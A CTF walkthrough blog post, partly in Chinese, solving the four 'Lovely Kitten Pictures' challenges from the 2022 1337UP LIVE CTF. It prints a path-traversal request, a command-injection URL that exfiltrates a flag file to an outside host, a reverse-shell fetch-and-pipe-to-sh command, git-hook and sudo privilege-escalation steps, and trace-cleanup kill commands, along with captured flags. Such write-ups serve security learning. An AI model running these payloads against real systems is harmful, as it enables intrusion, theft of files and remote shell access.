Pentest | 2022 1337UP LIVE CTF Walkthrough


Introduction

2022 1337UP LIVE CTF

比赛类型:Jeopardy[解题]

比赛形式:线上

比赛时间:2022-03-11 23:00 ~ 2022-03-12 23:00

比赛官网:https://ctf.intigriti.io/

啊,好久没水博客了,最近打比赛基本是和队友一起看看题目,然而队友太强了基本不需要喵喵了,考虑到咱做的不多也比较懒于是懒得写 writeup 了。(你就是懒吧!呜呜,别打喵喵)

周末看到群友发了 1337UP LIVE CTF 这个国外的比赛,周六晚上就来瞄了一眼题目,看到了 可爱猫猫图片 这个题目,wow, how cute they are!

Just do it!

这是道 偏渗透类型 的套题,以至于还单独分了个类,于是接下来就是一些 writeup 或者说是 Walkthrough 了。

(下面用嘤语吧

Sorry for my poor English.

Lovely Kitten Pictures 1

Come here little kitty cat! 🔗 https://lovelykittenpictures.ctf.intigriti.io/
🚩 Flag format: 1337UP{}
✍️ Created by Breno Vitório

In this challenge, we get a website with a few lovely kittens. Click the Switch button and we will get another kitten picture.

Let’s see the JavaScript source code.

let kitten = 0;

changeKitten();

function changeKitten() {
    kitten = getRandomInt(1,11, kitten);

    fetch(`cat_info.php?id=${kitten}`)
        .then(async (response) => {
        let result = await response.json();
        result = JSON.parse(result);

        const pictureContainer = document.getElementById("picture-container");

        const picture = pictureContainer.getElementsByTagName("img")[0];
        picture.src = `pictures.php?path=${result.Picture}`;

        picture.onload = (event) => {
            event.target.style.boxShadow = "0px 0px 5px 5px rgba(0,0,0,0.2)";
        };

        const span = document.getElementsByTagName("span")[0];
        span.innerText = result.Name;
    });
}

function getRandomInt(min, max, except) {
    min = Math.ceil(min);
    max = Math.floor(max);

    let result = Math.floor(Math.random() * (max - min)) + min;

    while (result === except) {
        result = Math.floor(Math.random() * (max - min)) + min;
    }

    return result;
}

We get 2 APIs, cat_info.php?id= and pictures.php?path=, the former provides the cat info with specific id and the latter gives us the file with specific path.

It is obviously that we can try path traversal vulnerability with the path parameter.

Checking https://lovelykittenpictures.ctf.intigriti.io/pictures.php?path=../../../../../../../etc/passwd will return Not yet!, meaning that it is not ok.

How about the file in the same directory?

https://lovelykittenpictures.ctf.intigriti.io/pictures.php?path=pictures.php

Visit it and we can get the source code of pictures.php, and meanwhile the filename of it is the first flag.

1337UP{K1TT3N_F1L3_R34D}

Lovely Kitten Pictures 2

In ancient times cats were worshipped as gods; they have not forgotten this.

In the same way, we can get other files in the directory.

pictures.php

<?php
    $projectRoot = realpath(__DIR__);
    
    $relativePath = $_GET['path'];
    $absolutePath = realpath($projectRoot . "/" . $relativePath);

    if ($absolutePath === false || strcmp($absolutePath, $projectRoot . DIRECTORY_SEPARATOR) < 0 || strpos($absolutePath, $projectRoot . DIRECTORY_SEPARATOR) !== 0) {
        echo "Not yet!";
        http_response_code(404);
        die;
    }

    $splittedPath = explode('.', $relativePath);
    $fileExtension = end($splittedPath);

    if ($fileExtension === "jpg") {
        header('Content-type: image/jpeg');
        $pictureName = "photo";
        
    } else {
        header('Content-type: image/'.$fileExtension);
        $pictureName = file_get_contents("/flag1.txt");
    }

    header("Content-Disposition: filename=$pictureName-file.$fileExtension");
    header('Content-Transfer-Encoding: binary');
    header('Expires: 0');
    header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
    readfile($relativePath);
    die;
?>

cat_info.php

<?php    
    $kittenID = $_GET['id'];
    $cmd = escapeshellcmd("/var/www/html/cat_info/main -c $kittenID");
    $output = shell_exec($cmd);

    if(sizeof(explode(" ", $kittenID)) === 1) {
        header('Content-type: application/json'); /* So it only returns as JSON when there is
                                                     no space character? */
        echo json_encode($output);
        die;
    }
    
    echo "<pre>".$output."</pre>";
?>

index.php is actually a HTML file without PHP functions, we can ignore it.

From the souce we know that it exactly restrict the path to the projectRoot so that others can not get the /flag1.txt directly.

And the cat_info.php will call a program /var/www/html/cat_info/main with escapeshellcmd. As we know, it cannot execute other shell commands because the special characters are escaped.

escapeshellcmd(string $command): string

escapeshellcmd() escapes any characters in a string that might be used to trick a shell command into executing arbitrary commands. This function should be used to make sure that any data coming from user input is escaped before this data is passed to the exec() or system() functions, or to the backtick operator.

Following characters are preceded by a backslash:

&#;`|*?~<>^()[]{}$\, \x0A and \xFF. ' and "

are escaped only if they are not paired. On Windows, all these characters plus % and ! are preceded by a caret (^).

via https://www.php.net/manual/en/function.escapeshellcmd.php

Next, we get /var/www/html/cat_info/main file with the url https://lovelykittenpictures.ctf.intigriti.io/pictures.php?path=cat_info/main .

It is a program written in Golang. Using IDA to reverse it and we find that it has a help parameter -h, which can also be called with the API above, that is, https://lovelykittenpictures.ctf.intigriti.io/cat_info.php?id=1%20-h .

BTW, we can get the health_checks/pictures.sh file, prompting us to execute commands with -e parameter.

#!/bin/bash

printf "–––––––– Pictures Health Check ––––––––\n\n"

for kitten in $(seq 1 10); do
    printf "Testing Kitten $kitten: "
 
    wget -q --spider "http://localhost/assets/$kitten.jpg"

    if [[ $? == 0 ]] 
    then
        printf "OK!\n\n"    
    else
        printf "Not OK!\n\n"
    fi
done

printf "––––––––––––– Tests done –––––––––––––\n\n"

Binary programs compiled from Golang are usually hard to reverse, but luckily this time it is so simple that from IDA we can find the way of processing -e param.

It checks the input, which should start with http://localhost, and then execute wget -O - %s | /bin/bash command with the input.

Apparently we can execute commands with backquote ( `whoami` ) and the keyword localhost in the URL can be a subdomain of your domain, or even function as a user accessing your domain (e.g. http://[email protected] ).

Just like:

http://localhost.114514.miaotony.xyz/?x=`whoami`
http://[email protected]/?x=`cat /flag2.txt`

Or we can just use the fuzz.red platform developed by my friends to get the http log.

https://lovelykittenpictures.ctf.intigriti.io/cat_info.php?id=1%20-e%20%22http://[email protected]/?x=`cat%20/flag2.txt`%22

Got it!

1337UP{K1TT3N_BYP4SS_W1TH_4T_CH4R4CT3R}

Lovely Kitten Pictures 3

A cat is an example of sophistication minus civilization.

Furthermore, since the main program will call bash through pipeline (|), it is a good idea to put the reverse shell exploit on our web server and fetch it from the victim to get shell directly.

One can find some useful reverse shell commands on https://sh.miaotony.xyz/ or Reverse Shell Generator .

Or we can use something like Reverse Shell as a Service

# 1. On your machine:
nc -l 1337

# 2. On the target machine:
curl https://resh.now.sh/yourip:1337 | sh

It is pretty cool.

https://lovelykittenpictures.ctf.intigriti.io/cat_info.php?id=1%20-e%20%22http://[email protected]/yourip:1337%22

Visit the payload and we get a reverse shell.

And we find the Golang program has its source code called main.go in the same directory… Why didn’t I try it? (((

And this is the source.

package main

import (
	"bytes"
	"encoding/json"
	"flag"
	"fmt"
	"os"
	"os/exec"
	"strings"
)

// The Kitten struct is the data structure which is going to represent each kitten
type Kitten struct {
	Picture string
	Name    string
}

func kittenHealthCheck(pictureURL string) {
	if strings.Index(pictureURL, "http://localhost") != 0 {
		fmt.Printf("[*] External requests are not allowed! 🐈")
		return
	}

	commandString := fmt.Sprintf("wget -O - %s | /bin/bash", pictureURL)
	cmd := exec.Command("bash", "-c", commandString)

	var stdout, stderr bytes.Buffer
	cmd.Stdout = &stdout
	cmd.Stderr = &stderr

	err := cmd.Run()
	if err != nil {
		fmt.Printf("Error: %s\n", err)
		return
	}

	output, _ := string(stdout.Bytes()), string(stderr.Bytes())

	fmt.Printf("[*] Showing results &#128008;\n\n%s", output)
}

func help() {
	fmt.Printf("––––––––––––––––––––––––––––––––––––––––– &#128008; Lovely Kitten Data &#128008; –––––––––––––––––––––––––––––––––––––––––\n\n\n")
	fmt.Printf("Flags:\n\n")
	fmt.Printf("-h	Asks for help &#128008;\n")
	fmt.Printf("-c	Pass the ID of a specific kitten &#128008;\n")
	fmt.Printf("-e	Pass a local health check in order to execute it (BETA) &#128008;\n\n\n")
	fmt.Printf("––––––––––––––––––––––––––––––––––––––––––– &#128008; Example Usage &#128008; –––––––––––––––––––––––––––––––––––––––––––\n\n")
	fmt.Printf("./main -c 4						// Returns data about the 4th registered kitten\n")
	fmt.Printf("./main -e http://localhost/health_checks/pictures.sh	// Checks if all the kitten pictures are available\n\n")
	fmt.Printf("–––––––––––––––––––––––––––––––––––––––––––––––– &#128008; PS &#128008; –––––––––––––––––––––––––––––––––––––––––––––––––\n\n")
	fmt.Printf("For security reasons, the local health check functionality only allows requests that comes from localhost")
}

func main() {
	var kittens = []Kitten{
		{
			Picture: "assets/1.jpg",
			Name:    "Louie",
		},
		{
			Picture: "assets/2.jpg",
			Name:    "Jasper",
		},
		{
			Picture: "assets/3.jpg",
			Name:    "Biscuit",
		},
		{
			Picture: "assets/4.jpg",
			Name:    "Hot Wheels",
		},
		{
			Picture: "assets/5.jpg",
			Name:    "Nala",
		},
		{
			Picture: "assets/6.jpg",
			Name:    "Simba",
		},
		{
			Picture: "assets/7.jpg",
			Name:    "Mrs Norris",
		},
		{
			Picture: "assets/8.jpg",
			Name:    "Garfield",
		},
		{
			Picture: "assets/9.jpg",
			Name:    "Fluffer Nutter",
		},
		{
			Picture: "assets/10.jpg",
			Name:    "PeeWee",
		},
	}

	var kittenID int
	var askedForHelp bool
	var healthCheckInput string

	flag.IntVar(&kittenID, "c", 0, "")
	flag.BoolVar(&askedForHelp, "h", false, "")
	flag.StringVar(&healthCheckInput, "e", "", "")
	flag.Parse()

	if askedForHelp {
		help()
		os.Exit(0)
	}

	if healthCheckInput != "" {
		kittenHealthCheck(healthCheckInput)
		return
	}

	if kittenID == 0 {
		fmt.Print("Flag -c expected, but no value was given to it &#128008;")
		os.Exit(-1)
	}

	jsonKitten, err := json.Marshal(kittens[kittenID-1])

	if err != nil {
		fmt.Println(err)
		return
	}

	fmt.Print(string(jsonKitten))
}

The / directory has the first 2 flags, so where are the last 2 flags?

In /home dir, we find another 2 users. Maybe the flags are in each user’s dir or /root dir.

It’s time to elevate privilege now.

In /tmp we see a script called linpeas.sh (uploaded by someone else), which is a part of PEASS-ng - Privilege Escalation Awesome Scripts SUITE new generation on GitHub.

By executing it we can check the Local Linux Privilege Escalation checklist from book.hacktricks.xyz.

Pay attention to the sudoer’s config.

www-data ALL=(ALL) NOPASSWD:/bin/su level1
level1 ALL=(admin) NOPASSWD:/usr/bin/git pull

The current user www-data can execute /bin/su level1 via sudo without password, i.e., sudo su level1.

Flag3 is done!

1337UP{SUP3R_34SY_K1TT3N_PR1V3SC}

BTW, from pstree we can also know the way of other players hahaha.

Lovely Kitten Pictures 4

Dogs come when they’re called; cats take a message and get back to you later.

From sudoer’s config we know the level1 user can exec /usr/bin/git pull with admin‘s privilege.

From GTFOBins and the git page on it we see that git hooks can execute some shell scripts.

GTFOBins is a curated list of Unix binaries that can be used to bypass local security restrictions in misconfigured systems.

Git hooks are merely shell scripts and in the following example the hook associated to the pre-commit action is used. Any other hook will work, just make sure to be able perform the proper action to trigger it. An existing repository can also be used and moving into the directory works too, i.e., instead of using the -C option.

TF=$(mktemp -d)
git init "$TF"
echo 'exec /bin/sh 0<&2 1>&2' >"$TF/.git/hooks/pre-commit.sample"
mv "$TF/.git/hooks/pre-commit.sample" "$TF/.git/hooks/pre-commit"
sudo git -C "$TF" commit --allow-empty -m x

How can we hook git pull?

stackoverflow: Is there any git hook for pull?

https://git-scm.com/docs/githooks#_post_merge

Yeah, post-merge can make it.

And then we find a repository on GitHub, git-pull-priv-escalation , and after executing the following commands we get the final flag.

mkdir /tmp/.miao
cd /tmp/.miao
git clone https://github.com/arnav-t/git-pull-priv-escalation
cd git-pull-priv-escalation
tar -xvf payload.tar payload
cd payload/slave
echo -e '#!/bin/bash\n/bin/cat /home/admin/flag4.txt' > .git/hooks/post-merge
chmod -R 777 .
sudo -u admin git pull

1337UP{1TS_TH3_F1N4L_K1TT3N}

We use chmod here because when using sudo for admin user, he cannot change files in the current and .git directories. admin isn’t like root user who can do everything he wants.

But I don’t know why using exec /bin/sh 0<&2 1>&2 for post-merge cannot give me the shell of admin user. Looks like nothing happens after pulling the repository and the user is still level1. (?

Meanwhile, we find that for sudo one can only execute the specific command (git pull in this example) with no password, which means with other parameters we have to input the password.

Therefore in this repository, the author configured 2 git repos, master and slave, and the slave‘s remote was pointed to master, which was set in slave/.git/config, in this way we don’t have to add other params after git pull.


Finally, let’s clean something like the commands with our server info.

(Maybe it’s useless and unnecessary… hahaha

ps -ef | grep wget | grep -v grep | awk '{print $2}' | xargs kill -9
ps -ef | grep main | grep -v grep | awk '{print $2}' | xargs kill -9

Conclusion

BTW, we have tried some other methods to elevate privilege but all failed.

For example, we found that the kernel version was 5.4.144+, which can not be exploited by the newest CVE-2022-0847 (a.k.a. Dirty Pipe, >=5.8, <5.16.11, 5.15.25 and 5.10.102).

The sudo version was 1.8.31 but it had been fixed. Someone else pulled the exploit of CVE-2021-3156 but it couldn’t be exploited.

sudo

The pkexec command existed but the CVE-2021-4034 (a.k.a. PwnKit) didn’t affect it.

Maybe the author had fixed other known ways of pwning the machine, 23333.

BTW, it was a k8s machine.


So we finished all the challenges of the Lovely Kitten Pictures, but to some extent it was so easy for other players and I was so rubbish, 555.

Many thanks for my teammate @nemo who solved the challenges with me.

喵喵好菜啊,呜呜(

当然感谢熊熊 nemo 一起来看题,贴贴!hhh


写嘤语好累,为啥想不开用英语写啊

(溜了溜了喵~


文章作者: MiaoTony
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来源 MiaoTony !
评论
  目录